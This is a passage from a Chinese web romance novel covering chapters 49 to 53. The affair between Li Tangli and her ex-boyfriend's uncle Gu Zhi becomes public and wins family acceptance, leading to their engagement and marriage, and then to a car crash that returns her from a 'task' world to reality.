她轻声对纪嘉誉说:“况且,那个时候,你正在和舒冉在一起吧?” “那是……!” 话声急停,纪嘉誉突然闭口,不再说话了。他浑身泄了气,抹了一把眼睛,转身就走。 这场意外开始的闹剧同样以意外收场。 纪嘉誉那几个朋友张口结舌,原来纪嘉誉口中那个勾引李棠梨的野男人就是顾叔叔。诶,不对,不能这么说,好像也不一定是小三…… 关望津没有错过他们眼中的震惊,他头疼地想,这下算炸了马蜂窝了。 天下没有不透风的墙,更何况目击者人数众多,还都是熟人。他替顾峙和李棠梨捏了一把汗,本来还想大事化小、小事化了,但现如今不可能了。 传遍整个圈子,恐怕只是时间问题。 * “疼吗?” 回到公寓,李棠梨拿着碘伏棉签,俯着身子,小心地涂在伤口的位置。 顾峙说:“不疼。” “还有别的伤口吗?” “其他的不用。” 再三确认后,李棠梨一言不发地将用过的棉签进垃圾桶,刚要起身,顾峙从后抱住了她。 他搂住她的腿弯,让女孩横坐在膝头。摸着她背后微凉的头发,低声说:“生气了?是我冲动了,让你担心我。” 李棠梨顺势靠在他怀里,耳朵贴住了他的心跳声:“我没有怪你,我只是……有点害怕。” 她的脖颈被轻轻捏了一下,刚抬脸,顾峙气息压下来,娴熟地含吮、厮磨她的唇瓣。 他含含糊糊地问:“后悔吗?和我在一起。” 听得她心口紧了紧。她将手搭上他的肩,微微张开了嘴。以一种私密又大胆的开放姿态,欢迎他进一步的占有和掠过。 接收到了李棠梨无声的回答,顾峙按住她的后脑,更深更重地抵进去。 消息传播的很快,只隔了一天,本来还在外出差的顾淑凤听到了风声,雷厉风行地赶回了A市。 那天正好是工作日,李棠梨对此毫不知情,以为顾峙只是照常去公司上班了。 她上午先去了趟医院。在求婚成功后,她就带着顾峙正式去看望了张梅婷。 张梅婷惊诧于他们的进度,独处时也旁敲侧击表达过是不是太快了的疑虑。 但看李棠梨比较坚持,外加顾老板实在真诚,又是送戒指又是送房,走的时候连围巾都是他给李棠梨围的。她也没有多说什么。 从医院回来,李棠梨总觉得心怦怦跳,果然,还没到家门口,就收到了顾语琴的消息。 她赶紧拦下一辆出租,直奔老宅。刚走近书房,即使关着门,也能听到顾淑凤在大发雷霆。 她的愤怒穿透到李棠梨的耳朵里:“顾峙,你知道自己在干什么吗?” 第50章 是我的错,不能怪她 按照计划,顾峙和李棠梨原本打算循序渐进地跟顾淑凤坦白他们之间的关系。时间越久,这份感情就会显得越合理,受到的阻力也越小。 但目前已经不可能了。 当传到顾淑凤耳朵里时,有关这段三角恋的流言愈演愈烈,到了不堪入耳的地步。 什么顾峙强取豪夺外甥女朋友、舅甥为争一女打进了医院等等,传得活灵活现。 顾淑凤初初听闻,一个标点都不信,甚至松弛的笑了一声。哪个三流记者编的狗血小报,为了吸引眼球,连底线都不要了。 可当晚打电话跟顾峙说起这个笑话时,对面却诡异的沉默了。 她有种不好的预感,果然,下一秒就听顾峙说,我确实因为李小姐和纪嘉誉打了一架。 脑中一片空白,顾淑凤记不清自己当时的反应了。 现在,顾峙站在她面前,她怒火中烧,低头又给另一位缺席的主人公——她儿子纪嘉誉打电话。数不清是第几回了,铃声在空旷的书房回响,依然显示未接。 她气得将手机撂到桌上,扶着桌沿努力深呼吸。一个是找不着人影,一个就跟木头似的这么戳在她跟前,只承认是在分手后才和李棠梨在一起的。 “行,你起码有担当。呵,敢作敢当让你用到这种事情上了。顾峙,你知道自己在干什么吗?” 她转过身,怒道:“我就问你一句话,既然你问心无愧,为什么上次我问你女朋友是谁,你不说实话?还有模有样地劝纪嘉誉对李棠梨好点?前后也就一个月,你连婚都求了。这么大的事儿,你一声不吭?” 顾淑凤不会被三言两语轻易糊弄过去。何况,站在她的角度,的确是有太多说不通的地方。 真要实话实说,不免要牵扯到李棠梨身上,可顾峙不愿意。在大姐面前,他低下头,表现得任打任罚,但这反而凸显了他谦卑表象下强硬的态度。 ——我或许是错了,但唯独这件事上,我不会改。 顾淑凤看得出来。她冷笑道:“你们可真有意思。纪嘉誉在外面不三不四,你和李棠梨不清不楚。我这两天反复琢磨,你之前那句‘等她分手’,看来不是玩笑,是真心话?” 吱呀一声,敞开的门扉处立着一个细瘦的身影,屋里两个人神色各异。 登场的正是这场风波的中心人物,李棠梨。 顾峙脚下一动:“你怎么来了?” “李小姐。”顾淑凤抱着手臂:“一个个急着通风报信,消息可比我灵通多了。” 她刻意提高了声量,话里有话,就是说给此刻躲在门外偷听的妹妹顾语琴听的。 李棠梨走进来,或许是因为初次见面不太愉快,她内心对顾淑凤始终有点畏惧。 刚刚在门外,顾淑凤的逼问她听得清清楚楚。这些疑惑合情合理,倘若她站在顾淑凤的位置,估计也搞不懂他们之间错综复杂的关系。 李棠梨站定顾峙身边,鼓足勇气说:“是我。我当时不想跟顾峙公开,所以他才没有和您说。” 女孩一只手扯着下摆,年轻的脸庞写满了紧张,这是个和她儿子年纪差不多小姑娘,却和她的弟弟牵扯在了一起。 瞥见她手上的戒指,顾淑凤闭了闭眼:“你和纪嘉誉什么时候分开的?” 李棠梨如实道:“他前段时间出去旅游,当时跟我提的分手。” 她无疑是个照顾别人感受的好女孩,这时还顾及着顾淑凤的体面,没有明说是因为纪嘉誉出轨了舒冉。 但顾淑凤很清楚为什么。她叹了一口气,无力地掐住眉心,因纪嘉誉而倍感无地自容。 “我该对你说声抱歉。李小姐,是我没有教育好他。他在外面乱搞,你和他分手是明智之举。既然如此,我更不明白了。你们为什么不公开?而且,恕我直言,一个月前你来作客,和纪嘉誉看着还不像是分手的样子。” 真相远比顾淑凤揣测的简单。因为她忌惮于任务,不敢和顾峙走明面。所以,他才被蒙在鼓里,当了她的假小三。 可任务是保密的,绝不能公之于众。但这样一来,了解整件事的来龙去脉后,知情者会顺其自然地得出一个符合逻辑的答案。 即纪嘉誉出轨,李棠梨单方面被分手,还是不肯放弃 。所以,优柔寡断的她选择一边吊着顾峙,一边继续和纪嘉誉暧昧。 似乎只有这一个合理的解释了。她嘴唇嗫嚅了两下,有些难以启齿。 突然,一直不语的顾峙开口了:“是我的错,不能怪她。她一开始不愿意,是我非要强求,不公开也是我们事先说好的。” 李棠梨惊诧地扭过头,顾峙相当于把责任悉数揽到自己身上了。 顾淑凤望着语出惊人的他,半晌哑然。她迈开步子,坐到书桌后的椅子上。 看着桌前的顾峙,她忽然发觉,弟弟似乎变了许多。并不是指外表上的改变,而是内里一些更深层次的东西。 父亲被爆出轨的那年,顾淑凤已经上高中了,有了自己的社交圈。一回家,随处充斥着吵闹与哭泣,她索性办理了住校,一个月也不回去一次。 后来上大学、工作、结婚,一步一步,越走越远。或许,她做出和前夫定居海外的决定,就是为了彻底逃离这个家。 但顾峙年岁尚小,他走不了。顾语琴则是早产儿,总是在医院里。 常年住在家里的孩子,很长时间只有顾峙一个。 有时,顾淑凤觉得这个弟弟很可怜。他夹在两个复杂的大人中间,充当干涩的调和剂,年幼时为了使母亲高兴一点,甚至故意着凉发烧,天真地希望借此把夜不归宿的父亲叫回来。 成年后刚拿到驾照,他以过生日为由,邀请已分居的父母一同坐上他的车出门遛一圈。但很遗憾的是,没安静一会儿,围绕父亲迟到一事,两人再度开始了争吵。 顾峙紧握着方向盘,心烦意乱。他喊了一声别吵了,就在分心的一瞬间,一辆醉驾超速的越野车如同一颗炮弹,从后将他们掀翻了出去。 天旋地转中,顾峙抬起沉重的眼皮,他的左手腕上插着一块碎玻璃,不顾浑身剧痛,他努力往后座看去,记忆的最后一幕,是母亲扭曲的肢体。 顾父顾母抢救无效死亡,昏迷过去的顾峙在重症监护室待了几天,捡回一条命。 得知他醒来,顾淑凤匆匆赶赴医院。十八岁的顾峙躺在病床上,身上包着纱布,他看着顾淑凤,喃喃地问:“姐,我为什么还活着?” 紧接着,就在两个多月后,她不慎流产。在病房里,顾峙沉默地站了很久,没人知道他在想什么。 想了想,那竟然是弟弟最后一次在她面前流露出脆弱的情态。后来,他完成学业、接管公司,经手的每一件事都办的格外出色。 顾峙是这么长成的。他似乎一直都不近情爱、老成持重,无论遇到什么难关都泰然处之,从不令她生出多余的操心。纪嘉誉漫长的叛逆期,在他身上似乎从未存在过。 所以,在得知流言部分为真后,顾淑凤的第一反应是——她引以为傲的弟弟为什么会掺和进来? 可此时此刻,日光穿透玻璃,照亮他的面容,那双锋锐的眉眼晕开了一圈柔和的情愫。 他的影子被光线拉长,与靠近了半步的李棠梨的影子紧紧交融在了一起。终于,他不再形单影只。 在这静谧的一瞬间,顾淑凤心想,好吧,好吧。 其中的种种猫腻,她也不想去深究了。归根结底,顾峙和李棠梨是你情我愿,连对戒都戴上了。顾峙心急到这种地步,想必是很喜欢了。 顾峙语气郑重地说:“我对李棠梨是认真的。我们……” “行了行了,要说几遍啊?我知道了!”顾淑凤腻歪地打断了他,她站起身,朝李棠梨招招手:“李小姐,你走近点。” 见她此时表情恢复了平静,略微惊讶的顾峙抚了抚李棠梨的后背,低声说:“别怕。” 李棠梨战战兢兢凑过去。顾淑凤高挑许多,她一伸手,将女孩的下颌抬起来,仔细打量她。 她咬着下唇,睫毛发抖,从前和纪嘉誉站一块不觉得,现在单看,她的稚嫩一览无余。 顾淑凤瞥了一眼顾峙,对他的说辞信了七七八八,主动引诱恐怕是真的。 兜兜转转,和顾峙成了一对儿,也算和顾家有缘。 她捞起女孩的手。李棠梨低头去看,却见顾淑凤把她手腕上那只玻璃种翡翠手镯径直褪到了她手上! 她忙推辞:“阿姨,这太贵重了……” 顾淑凤轻拍了拍她的脸:“改口费,以后要叫姐了。记住了吗?” 扭头一瞧,顾峙的眼睛忽地亮了。他青年时丧失的那点鲁莽,十年后遇到李棠梨,终于迟迟地展露出来。 最后,李棠梨脸颊滚烫、声如蚊蚋地挤出了一声姐。 “好孩子,你先出去吧,我和顾峙单独说两句。” 李棠梨走了,顾淑凤看着顾峙,没好气地说:“别光顾着高兴了,网上要是出现了负面舆情赶紧处理,别影响到公司。” 顾峙点了点头:“不用担心,我有在注意。” 顿了顿,他道:“谢谢你,姐。” “以为过了我这关就没事了?”顾淑凤随手抄起一本书砸他,阴阳怪气地说:“我刚刚是在气头上。李棠梨比你小这么多,你也挺一鸣惊人的。” 是差着几岁。 顾峙从地上把那本薄薄的书捡起来,放回桌上:“所以呢?” 顾淑凤意味深长地说:“所以,你可把人看好了。她年纪小,心性不定,说不定是这会儿被你赶鸭子上架才答应。” 即使知道大姐是在开玩笑,顾峙仍然为此心里一紧。 50-58 第51章 你根本就没喜欢过我吧。…… 过了顾淑凤这关,婚事就摆到了明面上。两家人计划定日子正式办订婚宴。 偏偏李棠梨的前男友是纪嘉誉,要聚餐,就绕不开这个亲外甥。 面对这个大难题,他们还是尽可能的尝试平稳过渡,不想让结亲变成结怨。 但事与愿违,自从上回舅甥大打出手后,纪嘉誉就总不回家。 顾淑凤在其中斡旋,电话虽然能打通,可一旦提起与之相关的事,纪嘉誉就直接挂断,表明他的态度——谁也别想让我同意。 人影都找不着,遑论与他坐下开诚布公地解开仇怨,进度不可避免地僵住了。 于是,顾淑凤直接拍板做了决定,先不管他了。纪嘉誉本来就不占理,还犟着臭脾气,当初和人家交往的时候出轨,没见有多珍惜,现在又梗着脖子不肯和解,纯是贱骨头。 谁知道要过多久他才肯消气,难道还要顾峙和李棠梨看他的脸色,等到猴年马月才结婚吗? 这当然是不可能的。 顾峙能等到现在还没和李棠梨去民政局扯证,已经忍耐得十分辛苦了。 订婚宴定在周六晚上。提前给纪嘉誉发了通知,当天落座时,他意料中的没有出现。 考虑到张梅婷的身体,一切从简,地点直接选在了老宅。 从进门那刻起,庄园、喷泉、别墅眼花缭乱地闪过,张梅婷终于对顾家的财富有了一个更直观具体的概念。以前,她只是模模糊糊地知道顾峙大概算有钱人,万万没想到竟然富有到这种程度。 她后知后觉。因为这过于悬殊的家境,张梅婷开始担心起女儿婚后受制于人的处境,肢体不免显得有些僵硬。 但很快,她看顾峙饭桌上对李棠梨的关切不减,与此同时,顾家的其他人都表露出了和善和接纳,担忧之情渐渐消融进了融洽的氛围里。 更重要的是,她看到了女儿脸上洋溢着淡淡的喜悦,这就足够了。 李棠梨的确很开心。为了庆祝,她抿了 几口红酒。身体微微发热,手掌在腿上打着拍子,听着顾淑凤和妈妈聊天,轻盈的情绪充溢胸膛。 忽地,一片阴影俯下来,遮住了她的眼睛,温和的木质香也紧随而来。 李棠梨面皮薄,不想在长辈面前显得太亲近。躲闪地偏了一下头,后脑枕在他搭在椅背的手臂上。 顾峙垂眸,望着她怠懒的神色,轻声说:“脸红了,很热?” 他嗓音低沉,众目睽睽下和她说悄悄话。吐出的灼热气息一股脑地往她的脸颊、嘴唇上吹。 芳醇的酒香萦绕在鼻端,李棠梨发现泛上了几丝醉意。 她直起背,对顾峙说:“有点,我去透口气。” 顾峙嘱咐:“嗯,别待太久,吹感冒了。” 她走到阳台,闭上眼,阵阵晚风拂过鬓角,意识清醒了一多半,莫名思忖起桌旁那把空荡荡的椅子。 掏本心来说,纪嘉誉没来,她反而松了一口气。实际上,张梅婷可不知道她和纪嘉誉之间的龃龉,她也不打算说。多一事不如少一事,这样也好。 忽然,她好像听见那个本该缺席的人在喊她的名字。 错觉吧? “李棠梨。”他声音大了点。 李棠梨惊愕地睁开眼睛,将撑在露台上的手臂缩回来,看见了阳台外那个不期而至的青年。 这是那场混乱之后他们首次再见。她局促地笑了笑:“嘉誉,你来啦?” “别装了,”纪嘉誉戴了一顶棒球帽,帽檐下翘起了几缕碎发。一只手插在兜里,身材颀长。 指节顶开帽檐,露出一双乌黑的眼眸:“你知道你说谎的时候表情很僵吗?” 李棠梨怔了怔。 看她沉默,他脸上划过懊恼。这次谈话和之前的每一次一样,都没有开一个好头。 将帽檐闷闷地压回去,纪嘉誉的语气转而变得缓和:“我有话想和你说,有时间出来一下吗?” “啊,”李棠梨下意识回头望了一眼,主要是看她的未婚夫。 她不太情愿地说:“现在吗?” “嗯,就在这儿。几句话,说完就走。” 纪嘉誉望着她,目光执拗。 好吧。 迫于纪嘉誉冲动闹事的前科,李棠梨点了点头。 终归是在老宅里,时间短应该没事。趁顾峙不注意,她偷溜出来,两个人坐到了庭院树下的秋千上。李棠梨坐在最左,自觉地与他拉开了距离。 那是一段因他舅舅而多出的距离,代表着李棠梨为他斩断了和其他男人的可能性。 裸粉色的裙子仿佛一朵花,半开在椅子上。他盯着这朵有主的花,一团郁气堵在喉咙里。 看到她人了,纪嘉誉想问很多话,譬如你是什么时候和顾峙好上的;是因为他更有钱有势,才选择了他吗?而且,你刚到年龄,就这么迫不及待地和他结婚吗? 但他没问。 在经历了惨痛的教训后,纪嘉誉终于学会了不逞一时口舌之快。 李棠梨疑惑地侧头,望向一言不发的纪嘉誉:“你要说什么?” 他扭开脸:“那次去海边度假,我半夜喝断片了,舒子毅把我拖回去的。第二天一醒,舒冉就在旁边,说是走错房了。可我本能觉得没有发生什么。我只是想把这件事告诉你,信不信由你。” 他的话声很平静,但交叉相握的两手却在暗自较劲、紧张。 几秒后,他听见李棠梨无波无澜的声音:“你来就是特意为了跟我说这个吗?” 纪嘉誉神色一滞,她居然什么反应都没有。 拉住肩上的披肩,李棠梨疏离而礼貌地说:“谢谢你的解释。但不管真相是什么,都已经不重要了。” 对于李棠梨来说,他也不再重要了,是吗? 帽檐的阴影罩住了他的神色,李棠梨只能看到他抿成一条直线的嘴唇。 他强作镇定:“那最好。我马上要出国了,走之前和你说清楚。” 李棠梨失语了片刻,才找回了声音:“我……是因为我吗?” 纪嘉誉哼了一声:“少自作多情,我早就决定好了。” 也是。她问:“什么时候出发?” “过几天,到时候会通知你…你们。” “好。” 今晚万里无云,半轮明月高挂夜空,星子在眼中闪烁,纪嘉誉突然开口:“你根本就没喜欢过我吧,李棠梨。” 捕捉到她霎时间的表情,他扯起嘴角,胸口生出一阵密密麻麻的痛楚来。这么明显的事实,他居然才看清。 几天之前,他其实回过老宅一趟,来拿东西。但好巧不巧,那两天顾峙和李棠梨也住在老宅。房门没有关好,敞着一条缝隙。 从这个缝隙里,他窥见了两具交叠的身体。他们都坐在一张摇椅上,舅舅揽着她,李棠梨蜷缩在他的怀里,似乎正在午睡。 纪嘉誉呼吸骤停,说不清是愤怒还是心酸,只觉得心跳如鼓。 舅舅的手分明隐没在她的睡裙下。布料下隆起一只手的形状,从她的大腿到脚踝,他一路缓慢而流连地摸过去,这是不加掩饰的贪婪。 最后,她一对儿光裸的、微凉的脚也落在了他的手里,被捏在掌心中把玩。 摇椅前后轻晃,含有某种目的不纯的蛊惑。李棠梨任他抚摸,她快要睡着了,脸颊依偎在男人宽阔的肩膀上。直到他去拿桌上的手机,不慎把她朦胧的睡意赶跑了。 连眼睛都没有睁开,她就自然地抬脸,如同重复了千万次那样,不设防地把细细的颈项和柔软的嘴唇一并送上去。舅舅也毫不客气地低下头,把她攫取得干干净净。 直到顾峙扯开了她的领口,纪嘉誉看不下去了,落荒而逃。 那天他独自一人呆了许久。在复杂的情绪之外,他恍然察觉自己的愚顽。原来这才叫喜欢。他们寥寥几次亲密中,她即生疏又木讷,他也没什么耐心;但面对顾峙时,李棠梨表现得柔顺、湿润、不躲不避,就连细碎的呻吟也全然是快乐的。 “为什么突然提起这个?” 当初和纪嘉誉在一起,是因为任务,谈不上感情。李棠梨不自在地晃了晃腿,踢开了脚下的小石子:“现在也没有意义了。” “不喜欢就不喜欢,那我们就扯平了。” “……” 还没等她琢磨过来这是在打什么谜语,纪嘉誉身子后仰,靠在了秋千上叹了口气。 李棠梨目光挪过去,指了指他的后背,提醒道:“有片叶子挂在你毛衣上了。” “什么?”纪嘉誉背过手摸了摸,大概是位置不太好够,没扫下来。 李棠梨看得心累:“你别动。” 她转过身,伸出胳膊,把那片叶子摘下来。手还没离开纪嘉誉的背,从身后传来沉冷的男声:“你们在干什么?” 跟被施了定身咒,李棠梨先是傻傻地回头看了一眼,只见顾峙面无表情地站在他们几步开外的地方,直勾勾地看着她的手。 心停了半拍,李棠梨立刻站起身,将手里的叶子和罪证似的扔到地上。 纪嘉誉随之缓缓站起身,倾身对李棠梨轻声讥讽:“你看看他,像不像一个守财奴?” 这话不仅没引来赞同,她反而瞪了他一眼。紧接着,她快步走过去:“顾峙,我只是和他说了几句话。” 有什么话,非得单独说? 刚站定,顾峙就搂住了李棠梨的肩,搂的很紧。像是怕她订婚中途反悔跟着野男人跑了。 或许是取得这个身份的过程夹带着几分来路不正,这令他总是陷入难以自制的患得患失中。 只是一个不注意,李棠梨就从阳台消失了。顾峙拉响警铃,但他先安抚自己,或许只是去了卫生间。但两分钟之后,他忍无可忍地站起来。 最后,他在门外发现了她和纪嘉誉,他们。 月夜,坐在秋千上的少男少女,未知的谈话内容。 纪嘉誉跑过来干什么?他要 用那张嘴勾引李棠梨和他走吗? 言语无法形容他刚刚看到这两个人挨在一起时的反应。他如坠冰窟,多年的克制在此刻极力阻止了一场激烈冲突的发生。 纪嘉誉站在庭院里。他勾起嘴角,对上舅舅寒光闪闪的眼睛。 他觉得这个场景十分有趣。风水轮流转,终于也轮到了顾峙尝尝猜疑的滋味。 他掸了掸衣服上的灰尘:“我说完了,再见。” “慢着。”顾峙叫住了他:“既然来了,进来打声招呼吧。” 纪嘉誉顿住脚,扭头望向顾峙,又看了看被他抱着的李棠梨,心想,他知不知道自己脸色很难看? 还进去?他敢朝李棠梨走近一步,他都嫉妒得要撕了他。 第52章 突发意外 纪嘉誉走了,没有参加一门之隔的他舅舅和前女友的订婚宴。 大概是想到进去之后,再看到李棠梨的脸,就要毕恭毕敬地喊舅妈了。 他当然不愿意叫,但顾峙由不得他犯矫情。 不合时宜的外甥暂时消失在了视野中,但顾峙因此被激起的疑心却愈演愈烈。 尤其是这一天,他在公司地下停车场无意听到有两位员工在八卦某个作风不端的领导,不时冒出“出轨”、“原配”、“捉奸”等等字眼。 他险些对号入座,但很快就发现并不是。 其中一人漫不经心地做了总结:“就算小三成功上位,又能怎么样?出轨只有0次和无数次,这种人下次碰到诱惑,照样会重蹈覆辙。” 说者无心,听者有意。顾峙在车里坐了很久,这句话如同虫子细细地啃咬着他的心。 直到司机询问,他沉闷地启唇道:“回家吧。” 到了家,心情却因空荡的房间而变得更糟糕了。李棠梨还没有回来。 他看过手机,定位显示人还在补习班。李棠梨也妥帖地给他发了消息报备,说是老师拖了十分钟的堂,课下她多问了两个知识点,要回去晚一些。 老师认真负责、李棠梨勤奋好学,没有任何可指摘的地方。 是这样吗? 那几位老师的脸一一划过去,暂时打消了嫌疑。随即,他又阴暗地想,补习机构里有太多青春的面孔了。或许,当初就不该听李棠梨的,家教无疑是更稳妥的选择。 每逢周末,都是他亲自送李棠梨到机构。站在门外,看着一茬接一茬的新鲜少年进进出出,青春洋溢的十七八岁,每一个都是他的未婚妻同样年轻。 他安慰自己,李棠梨不会喜欢这种乳臭未干的青春期男孩,他大可不必如此心肠狭隘,看谁都像是要勾引她。 外人大多以貌取人,在他们看来,顾峙是游刃有余的上位者,普普通通的李棠梨才该用尽手段去笼络住他的心。但实际情况截然相反。 得知内情的朋友们为此欲言又止。关望津委婉地说,你这条件竞争力挺强的,没必要这么焦虑吧? 但只要见不到她,顾峙的想象就陡然可怕起来。在阴暗的角落,是否有另一个不怀好意的男人,像从前的他一样盯上了李棠梨? 李棠梨开了门,讶异地发现黑洞洞的,没开灯。 她摁下开关,光线照亮屋内,才看清沙发上早坐着一个男人,歪头看着迟回的她。 李棠梨眼皮一跳,抢占先机地问:“今天工作还好吗?” “嗯。”顾峙注视着她,眼睛紧随在她背后。 可惜他不是一条嗅觉灵敏的狗,不然,他一定会凑上前去,仔细嗅闻她的颈后、脚踝、泛起褶皱的衣服,排查有没有挑衅者的气味登堂入室。 深夜,灯光明亮,地上混乱散落着裙子、衬衣和西裤。 李棠梨浑身汗津津的,她有些恍惚,不对,刚刚不是还在写作业呢,顾峙进来教她,然后……嗯,怎么写着写着,就滚到一块了? 可怜的女孩呜咽着捂住小腹,想要缓解令人头皮发麻的麻胀感,她的背颤抖着往上弓起,很快又脱力地倒了下去。 顾峙今晚很凶,目光一刻也没有离开过她,男人发热的手拨开她汗湿的额发,手却被她握住了,挪到了她的唇边。 在他一错不错的凝视中,李棠梨半垂着眼睛,面色酡红地侧过头,紧接着,手腕处传来了湿热的触感。 顾峙动作一滞。 她在亲吻那条伤疤。 顾峙曾一度将父母的死和姐姐的流产都怪罪在自己头上,在无法排解的绝望达到顶峰后,他决定用死亡来终结绝望与生命。 但在失血带来的眩晕中,他忽然想起了本就悲痛欲绝的家人,于是他艰难地止血,拨打了急救电话。 第二天一早,除了手腕上缠了一圈雪白的纱布,依旧是沉稳可靠的样子。只有等伤口痊愈后,添了一个戴表的习惯。关于这件事,连顾淑凤和顾语琴都不知道。 而现在,李棠梨看到了他十八岁时的心结,发现了他难言的脆弱,却没有问,只是温柔地亲吻着已经结痂的痛苦。 顾峙摸着她的脸颊,心口又酸又软,他嗓音沙哑:“你都知道了?我……” 李棠梨轻声阻止了他:“不想说也没关系。” 顾峙忽地抱紧她。在这一刻,他清清楚楚地明白了一件事——他彻底离不开她了。 就在这张床上,扯证日期被临时改到了明天。什么商量敲定好的日期顾峙都不在乎了,只想快点、再快一点。 于是,第二天一早,他们先去医院和张梅婷说了一声。这次,张梅婷显得平静了许多,像早预料到了这一天。 她握住了李棠梨的手,那是一双粗糙的、温热的手。望着已经长大成人的女儿,她感慨地说:“过的真快啊。” 离开病房前,李棠梨脚步一顿。她回过头,看到妈妈坐在病床上,对着她露出一个笑:“看什么呢?走吧,别惦记我。” 李棠梨走回去,俯身抱住了她。 母女都不是擅长表达感情的人,但冥冥中一股力量撬开了她一向木讷的嘴,促使她小声地说:“妈妈,我爱你。” “……知道了,多大人了还这么肉麻。”张梅婷拍了拍她的背。 她跑回去,重新站在了顾峙身边。 看着他们紧紧相握的手,张梅婷笑着说:“祝你们幸福。” 他们今天的运气不错,民政局人很少,不到半小时,小红本就新鲜出炉了。 顾峙捏着两本结婚证,心中的大石陡然落下,就连被大姐通知下午去机场送纪嘉誉都没打扰他的好心情。 李棠梨倒是多问了一句:“这么快?” 顾峙瞥了她一眼:“够慢了。” 她犹疑地说:“我还要去吗?” “当然,”顾峙云淡风轻地说:“你是他舅妈,去送送他也是应该的。” 下面的话他没有说出来。毕竟他这一走,回来的日期可就没定数了。 * 再次看见顾峙和李棠梨,纪嘉誉的心霎时间凉了半截。 怎么会这么快? 他明确地知道,这两个人的关系更近了一步。什么都可以伪装,但唯独传递过来的幸福和满足感是真实的。 果然,舅舅朝他礼貌地说:“抱歉,上午刚领完证,中午忙着庆祝,来迟了。” 又来了。又是一副笑里藏刀的神情。表面是抱歉,内里却是炫耀和示威。 纪嘉誉脑海空白了一瞬,他以为他们结婚还是分外遥远的事,但没想到今天上午就已经成功扯证了。 不想在离别的时候显得太没风度,他强忍着不适,做出不在意的样子,硬邦邦地说:“嗯。” 察觉气氛凝滞,李棠梨没话找话:“几点的航班?” “四点半。”纪嘉誉抹开脸,他很难去直视她。 他心绪败坏地想,她就这么进了他的家门,以舅妈的身份。可她哪儿有一点长辈的样子? 被他亲过、抱过,现在又想要若无其事地假装什么都没有发生过,看着他这张脸,难道她不觉得别扭吗? 纪嘉誉转而对她身边的舅舅说:“我有话想单独和你说。” 他们走远了几步,站在玻璃窗前,纪嘉誉开门见山地问:“让我出国的主意,是你和我妈提的吧?” 顾峙不置可否地说:“聪明了点。” 马上就要启程,纪嘉誉也没有天真地再问他什么时候能回来。 顾峙说:“纪嘉誉,你该长大了。” 说到底,出国历练只是一个骗过顾淑凤的幌子,真实的原因低劣而不可告人, 他们都心知肚明。 他冷笑了一声,突兀地说:“舅舅,你觉得自己会是最后一个吗?” 顾峙神色变冷:“你想说什么?” 视线落在正和小姨闲聊的李棠梨身上,纪嘉誉意有所指:“我只是在陈述事实。” 李棠梨是个安分守己的女孩,但她的眼睛不是,她有一双极不安分的眼睛。 棕褐色的眼珠荡起水光时,她看谁都像是哀求,哪个男人见了都会想要救救她,可她自己却对此毫无所察。 之前,她用这种眼神看向纪嘉誉,令他在成年派对上鬼使神差地把这个坐冷板凳的女人招到了身边,发话的那一刹那,他甚至没有看清她的脸。 后来,她又看向他舅舅。 纪嘉誉想,就算没有顾峙也会有别人。哪怕是现在,谁又敢保证她不会再看向别的男人? 顾峙盯了他半晌,手背青筋暴起。纪嘉誉还没反应过来,就被死死按住了肩膀,不得脱身,紧接着,肚子就遭受了一记重拳。 他猛地弯下腰,嗓子里发出嘶嘶的痛吟。胃被这一拳打得翻江倒海,反胃感呼啸而来,五脏六腑都跟被移了位似的。 顾峙一把挟住他的胳膊肘,把人又硬生生拉直拽起来,伪装成一派祥和的光景。 “别跟废物一样倒在地上。”他语气中夹带着淡淡的戾气:“这才是事实。明白了吗?” 他们俩走回来,李棠梨注意到纪嘉誉步伐蹒跚、脸色苍白,疑惑地打量了两眼气氛怪异的舅甥俩。 到了分别的时候,纪嘉誉重重地看了李棠梨一眼,对她说:“希望你不要后悔。” 李棠梨无意再和他争辩,只客气地说了一句:“再见,一路顺风。” 就在出机场时,一道电流穿透了她的脑海,沉睡了不知道多久的系统发出了久违的机械音:【疗程已……尚未醒来……意识……】 断断续续的字根本连不成完整的句子,她蓦地僵住了,连忙呼叫:【系统?系统?】 但不过几秒的功夫,短暂诈尸的系统又消失了。 为什么偏偏在一切都尘埃落定的时候,系统又突然出现? 顾峙看她有些心不在焉,想到这时坐在机舱里再掀不起风浪的纪嘉誉,他不动声色地试探:“怎么了?有心事?” 李棠梨下意识摇头,还没等她开口,变故就发生在这一瞬间,巨大的冲击力猛然从车辆右侧袭来。 破裂的玻璃渣仿佛流弹般划破她的脸颊,在车身剧烈的颠簸中,脑浆被彻底甩成了一团浆糊。 她只记得顾峙迅疾地将她护在了身下,等到不再天旋地转,她已经无法动弹,和顾峙一起被困在了变形的车内。 鼻腔里充斥着血腥气,浑身发冷,意识逐渐走失。可奇怪的是,她却不觉得有多疼。 外面响起救护车的警笛声,有一个微弱的声音贴在耳边,一直喊着她的名字:“李棠梨。” 她动了动嘴,想要回应他,已经发不出声音。 “不要睡,再坚持一下,求求你……” “咳、别丢下我,求你……” 顾峙轻轻覆在她的唇上,不知是泪还是血流进唇缝内,咸的发苦。 可一切都是无济于事。和之前脱离位面一样,她的灵魂被从躯壳里缓缓抽离了出来。 在意识消散的前一秒,她听见他轻声说:“我们死也不会分开。” 第53章 回归现实世界&一见钟情…… 所有声音都泯灭了。李棠梨无尽地下沉,她闭着眼睛,像是沉到了漆黑的水底。直到她警觉到无法呼吸,求生的本能使她摆动双腿,拼命地往水面游去。 双脚踏着水流,光线越来越明亮,在窒息感追上她之前,哗啦啦,她猛地从水面下钻出来。 犹如灌铅的沉重眼皮也终于抬起,一道阳光照亮了她模糊的视野。 四周弥漫着消毒水的气味,视野正对着雪白天花板,李棠梨的意识逐渐归位——她躺在医院里。 医院? 生锈的大脑及时闪回了车祸时惨烈的片段,她的心脏如同被一只大手紧握住,下意识用嘶哑微弱的声音喊道:“顾……” 刚吐出一个音节,她顿了一下。顾什么? 记忆被人为刻意擦去了关键的细节,她记得系统、任务,但遗忘了一些具体的人和事。 尤其是某个人。她怎么能忘?李棠梨的额头渗出冷汗,那是很重要的人,必须要想起来。 她还记得他的嘴唇又苦又涩,声音可怜极了,一直在恳求她说别丢下他…… 李棠梨转而开始呼叫系统,但这一次,就连自动回复的机械音都消失了。 正当她和不知所踪的记忆较劲儿时,忽然传来一声呼喊,夺走了她的注意力。 “棠梨?棠梨!你醒了!” 那人扑到床边,又惊又喜地喊来护士为她检查,她的嗓音分外熟悉,李棠梨吃力地转过头,看清了这人的脸,瞳孔骤然一缩。 她喃喃道:“……伯母?” 